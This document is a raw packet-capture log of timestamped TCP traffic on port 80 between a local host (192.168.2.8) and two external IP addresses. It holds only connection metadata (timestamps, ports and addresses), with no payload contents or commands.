Dec 16, 2024 17:02:25.392330885 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392349005 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392358065 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392365932 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392425060 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392433882 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392509937 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392518044 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392574072 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392584085 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392647982 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392657995 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392791986 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392802954 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392812014 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392819881 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392869949 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392930031 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.392980099 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393259048 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393268108 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393276930 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393285036 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393301010 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393311024 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393318892 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393381119 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393389940 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393512011 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393520117 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393615007 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393624067 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393678904 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393898010 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393951893 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393961906 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393970966 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393979073 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393989086 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.393999100 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:25.490916014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.490974903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.490992069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.491101980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.491311073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.491533041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.491548061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.491585016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.491616964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.491889000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.491905928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.491956949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.492284060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.492300034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.492316961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.492331982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.492353916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.492369890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.492845058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.493021011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.493067980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.493206978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.493221998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.493252039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.493273973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.493809938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.493855953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.493921041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.494009018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.494024038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.494055033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.494076967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.494791031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.494810104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.494827032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.494843006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.494856119 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.494885921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.495210886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.495264053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.495616913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.495670080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.495742083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.495759010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.495788097 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.495801926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.496170998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.496675014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.496691942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.496707916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.496736050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.496757984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.497020006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.497395992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.497437000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.497492075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.497508049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.497541904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.497565985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.497958899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.498336077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.498384953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.498430967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.498446941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.498475075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.498497963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.498790026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.499186039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.499233007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.499341965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.499360085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.499389887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.499413967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.499831915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.500391006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.500413895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.500428915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.500439882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.500459909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.500819921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.501316071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.501368999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.501386881 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.501403093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.501427889 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.501454115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.502146006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.502161980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.502224922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.502279043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.502295971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.502326965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.502351999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.502625942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.502973080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.503021955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.503057003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.503072977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.503102064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.503127098 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.503437042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.503834009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.503886938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.504012108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.504029036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.504057884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.504082918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.504251957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.504843950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.504859924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.504868984 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.504869938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.504911900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.505275965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.505384922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.505707026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.505722046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.505738020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.505757093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.505770922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.505786896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.506078959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.506603956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.506618977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.506634951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.506650925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.506688118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.506716013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.507033110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.507081032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.507436037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.507483006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.507523060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.507539988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.507570982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.507582903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.507761955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.508107901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.508156061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.508183002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.508198023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.508225918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.508250952 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.508709908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.508840084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.509021997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.509040117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.509056091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.509066105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.509079933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.509102106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.509780884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.509836912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.509882927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.509929895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.509972095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.509988070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.510015965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.510068893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.510704994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.510720968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.510767937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.510868073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.510884047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.510911942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.510938883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.511292934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.511851072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.511874914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.511889935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.511898041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.511924028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.512317896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.512835979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.512929916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.512975931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.513107061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.513124943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.513150930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.513164043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.513590097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.513777018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.513823032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.514060020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.514106989 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.514182091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.514234066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.684000015 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.684057951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.684108973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.684144974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.684251070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.684267998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.684305906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.684323072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.684536934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.684551001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.684566021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.684587002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.684633017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.685029030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.685044050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.685059071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.685091019 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.685117960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.685374975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.685425997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.685537100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.685585022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.685704947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.685719967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.685751915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.685764074 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.685914993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.685961962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.686068058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.686115026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.686249018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.686264038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.686291933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.686314106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.686851025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.686897993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.687035084 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.687051058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.687079906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.687119007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.687582016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.687630892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.687838078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.687886953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.687900066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.687913895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.687942982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.687961102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.688211918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.688257933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.688846111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.688860893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.688874960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.688891888 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.688905954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.689084053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.689131975 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.689507961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.689548016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.689560890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.689604998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.689693928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.689708948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.689738035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.689754963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.690268993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.690323114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.690323114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.690340042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.690368891 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.690381050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.690623999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.690680027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.690928936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.690953016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.690968037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.690975904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.690990925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.691030979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.691360950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.691406965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.691672087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.691714048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.691750050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.691796064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.691905022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.691920042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.691950083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.691961050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.692442894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.692488909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.692521095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.692536116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.692564964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.692575932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.692893982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.692941904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.693420887 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.693435907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.693450928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.693466902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.693480968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.694274902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.694289923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.694328070 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.694420099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.694434881 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.694469929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.694494963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.694916964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.695379972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.695435047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.695724010 CET	80	49712	31.41.244.11	192.168.2.8
